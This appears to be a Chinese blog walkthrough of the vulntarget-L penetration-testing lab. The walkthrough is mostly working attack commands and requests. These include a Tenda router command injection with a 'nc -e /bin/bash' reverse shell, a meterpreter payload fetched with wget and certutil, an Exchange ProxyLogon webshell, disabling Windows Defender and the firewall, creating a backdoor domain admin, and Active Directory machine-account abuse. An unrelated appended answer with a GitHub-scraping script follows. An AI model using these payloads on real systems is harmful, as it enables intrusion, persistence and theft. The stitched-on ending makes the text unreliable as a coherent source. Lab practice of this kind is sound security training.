vulntarget-L(星期五实验室)

靶场地址环境

百度网盘

链接:https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg

提取码:2dwq 

自己修改外网的ip地址--nat模式

修改ip地址为自动,修改dns地址为114.114.114.114,修改完成应用,重新

关闭后进行重启

修改tenda 端口转发的地址,修改为自己的出网的ip地址


sudo iptables -t nat -A PREROUTING  -p tcp -d 192.168.126.140(自己的出网ip地址) --dport 60080 -j DNAT --to-destination 192.168.6.11:80
sudo iptables -t nat -A POSTROUTING -p tcp -s 192.168.6.11 --sport 80 -j SNAT --to-source 192.168.126.140(自己的出网ip地址)
sudo iptables-save

两个都出现web界面,就可以使用了

外网路由器

端口扫描

TOTOLINK

TOTOLINK 后续需要qmeu虚拟逃逸,但是只能拿到本身的权限,无法进行逃逸

Tenda

寻找版本号 V15.03.05.19_

漏洞搜索

Vulnerabilities (CVE)- OpenCVE

同样使用公众号中的命令执行漏洞

判断漏洞是否存在

http://192.168.138.130:60080/goform/setUsbUnload/?deviceName=;%20wget%20http://9tlb9ufl.dnslog.pw

反弹shell到服务器

http://192.168.138.130:60080/goform/setUsbUnload/?deviceName=;%20wget%20`nc -e /bin/bash 192.168.138.133 4560` 

利用shell上传木马,

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.138.133 LPORT=3334 -f elf -o 3334.elf

木马生成后,利用python起一个http服务,将木马上传到受害主机

python3 -m http.server 81

wget http://192.168.138.133:81/3334.elf

msf设置监听

use exploits/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.138.133
set LPORT 3334
run

反弹shell

chmod 777 3334.elf
./3334.elf

外网路由器拿下

Exchange服务器

上传frp,建立代理

python3 -m http.server
wget http://192.168.138.133:8000/frpc
wget http://192.168.138.133:8000/frpc.ini

服务端+客户端配置

chmod 777 frps
frps -c frps.ini
chmod 777 frpc.ini
frpc -c frpc.ini
[common]
server_addr = 192.168.138.133
server_port = 7000

[socks5]
type = tcp
remote_port = 10000
plugin = socks5

[common]
bind_port = 7000

代理配置

出现下面界面,可以只恢复一下dc虚拟机镜像就可以

配置完成代理后,使用fsan进行扫描

配置代理规则

无法代理

fscan本身的代理

 fsan64.exe-socks5 192.168.138.133:10000 -h 172.18.10.100/24
E:\02-poc\fscan>fscan64.exe  -socks5 192.168.138.133:10000 -h 172.18.10.100/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
Socks5Proxy: socks5://192.168.138.133:10000
start infoscan
172.18.10.102:80 open
172.18.10.101:80 open
172.18.10.102:81 open
172.18.10.101:135 open
172.18.10.102:135 open
172.18.10.101:139 open
172.18.10.102:139 open
172.18.10.102:443 open
172.18.10.101:445 open
172.18.10.102:445 open
172.18.10.101:88 open
172.18.10.102:808 open
172.18.10.102:8172 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo:
[*]172.18.10.102
   [->]exchange
   [->]172.18.10.102
[*] NetInfo:
[*]172.18.10.101
   [->]DC
   [->]172.18.10.101
[*] WebTitle: http://172.18.10.101      code:200 len:703    title:IIS Windows Server
[*] 172.18.10.101  (Windows Server 2016 Standard 14393)
[*] WebTitle: http://172.18.10.102      code:403 len:0      title:None
[+] http://172.18.10.101 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: https://172.18.10.102     code:302 len:0      title:None 跳转url: https://172.18.10.102/owa/
[*] WebTitle: http://172.18.10.102:81   code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://172.18.10.102/owa/auth/logon.aspx?url=https%3a%2f%2f172.18.10.102%2fowa%2f&reason=0 code:200 len:28244  title:Outlook
[*] WebTitle: https://172.18.10.102:8172 code:404 len:0      title:None
已完成 13/13
[*] 扫描结束,耗时: 6m32.9820281s

发现一个outlook服务

https://172.18.10.102/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f172.18.10.102%2fowa%2f

利用CVE-2021-26855的SSRF和CVE-2021-27065组合拿shell

CVE-2021-26855的SSRF

从返回的结果来看,大概率存在ssrf

GET /ecp/target.js HTTP/1.1
Host: 172.18.10.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=test_fariy/api/endpoint#~1; X-AnonResource=true

使用namp跑出域名

nmap -T3 -sV -n -sT -Pn -v -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/ews/ 172.18.10.102
nmap -T3 -sV -n -sT -Pn -v -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/oab/ 172.18.10.102
nmap -T3 -sV -n -sT -Pn -v -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/autodiscover/ 172.18.10.102

这个组合漏洞利用需要邮箱密码,一般默认adiminisrator用户,同时域名已知也是利用前提

现在我们有域名和用户后,我们写入shell

https://github.com/herwonowr/exprolog.git
python exprolog.py -t 172.18.10.102 -e administrator@vulntarget.com

GET /owa/auth/tawhc.aspx HTTP/2
Host: 172.18.10.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())

权限拿下,system

DC服务器

查看进程

GET /owa/auth/tawhc.aspx HTTP/2
Host: 172.18.10.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

request=Response.Write(new ActiveXObject("WScript.Shell").exec("tasklist").stdout.readall())

发现安全设备,是windows defender 的

致盲window defender

关闭实时保护

GET /owa/auth/tawhc.aspx HTTP/2
Host: 172.18.10.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

request=Response.Write(new 
ActiveXObject("WScript.Shell").exec("powershell Set-MpPreference -DisableRealtimeMonitoring $true").stdout.readall())

判断几个域

netdom query pdc  //判断存在几个域

nltest /dclist:vulntarget.com

查看域内的组

net group /domain

重点关注三个,它属于exchange域

*Exchange Servers
*Exchange Trusted Subsystem
*Exchange Windows Permissions

这个EXCHANGE$就是当前exchang机器的机器用户,而有这个用户的权限是用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。

应该是域内委派,这个地方不会,后面慢慢学

现在直接上线cs

在外网路由器建以端口转发,无安全设备

Release v14.1 · snail007/goproxy · GitHub

./proxy http -t tcp -p "0.0.0.0:1236" --daemon

在exchange服务器,下载木马程序进行反弹

关闭exchange的防火墙

netsh advfirewall set allprofiles state off  

查看防火墙状态

netsh Firewall show state

在外网服务器上启动web服务

python3 -m http.server

反弹shell到cs

certutil -urlcache -split -f http://172.18.10.100:82/22.exe
22.exe

尝试上面的方法很长时间了,但是没有通过代理上线。我直接在exchange上添加一个网卡,直接进行反弹,后面再看看能不能通过goproxy代理,上线,模拟刚才我们获得system权限,我们进行提权

完成上线后,我们创建个域账户

shell net user fooxs 8B..123admin@ /add /domain

开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

创建域账户号后,需要关闭鉴权,才能连接

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

shell net localgroup Administrators fooxs /add

创建机器账户

机器账户默认具有dns权限

[*] 172.18.10.101  (Windows Server 2016 Standard 14393)
[+] http://172.18.10.101 poc-yaml-active-directory-certsrv-detect 

我们继续判断一下,bolldyAD安装

# 判断用户能否创建机器账户

python main.py -d vulntarget.com -u foxs -p '8B..123admin@' --host 172.18.10.101 getObjectAttributes 'DC=vulntarget,DC=com' ms-DS-MachineAccountQuota

默认域中MAQ等于10,有权限创建对应的机器用户。

创建机器账户

proxychains python3 bloodyAD.py -d 'vulntarget.com' -u 'foxs' -p '8B..123admin' --host '172.18.10.101' addComputer foxs1 'foxs1'  //创建用户
proxychains python3 bloodyAD.py -d 'vulntarget.com' -u 'foxs' -p '8B..123admin' --host '172.18.10.101' setAttribute 'CN=foxs1,CN=Computers,DC=vulntarget,DC=com' DNSHOSTName '["DC.vulntarget.com"]' //更新用户的DNS

没有具体学过域的打法,部分脚本出现报错。到此为止,后面再打

### 关于 vulntarget-c 的 GitHub 项目和技术文档 vulntarget 是一种常用于安全测试和漏洞研究的目标环境集合,旨在帮助研究人员学习和实践各种攻击向量以及防御机制。对于 vulntarget-c 而言,它通常代表了一个特定的安全目标场景或者是一个具有已知漏洞的应用程序配置[^1]。 #### 如何查找与 vulntarget-c 相关的技术资料或项目? 可以通过以下方法来定位相关的资源: 1. **GitHub 搜索功能** 使用 GitHub 提供的强大搜索工具可以快速找到开源项目。输入关键词 `vulntarget-c` 或者扩展查询条件如 `"vulntarget-c site:github.com"` 可以缩小范围并获取精确的结果。此外,还可以尝试更通用的术语组合,比如 `vulnerability target c github` 来增加匹配的可能性[^2]。 2. **官方文档或其他社区贡献的内容** 如果存在正式发布的文档,则可能位于项目的 Releases 页面或是 Wiki 部分;同时也可以查看 Issues 和 Discussions 中是否有其他用户分享的经验贴或教程链接[^3]。 3. **第三方平台上的讨论区** 像 Reddit、Stack Overflow 这样的开发者论坛上经常会有针对某些具体主题展开深入探讨的文章。通过搜索引擎加上站点限定符(例如:site:stackoverflow.com),能够更容易发现那些隐藏 gems[^4]。 以下是基于上述建议的一个简单 Python 脚本示例,展示如何自动化执行基本的网络爬取操作以便收集潜在的相关信息源地址列表: ```python import requests from bs4 import BeautifulSoup def search_github(keyword): url = f"https://github.com/search?q={keyword}" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') repos = [] for item in soup.select('.repo-list-item'): title_element = item.find('a', class_='v-align-middle') description_element = item.find('p', class_='mb-1') repo_name = title_element['href'] if title_element else None desc_text = description_element.get_text(strip=True) if description_element else '' repos.append({ 'name': repo_name, 'description': desc_text }) return repos results = search_github("vulntarget-c") for result in results[:5]: print(f"{result['name']} - {result['description']}") ``` 此脚本仅作为演示用途,请注意实际应用中的法律合规性和道德规范问题。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值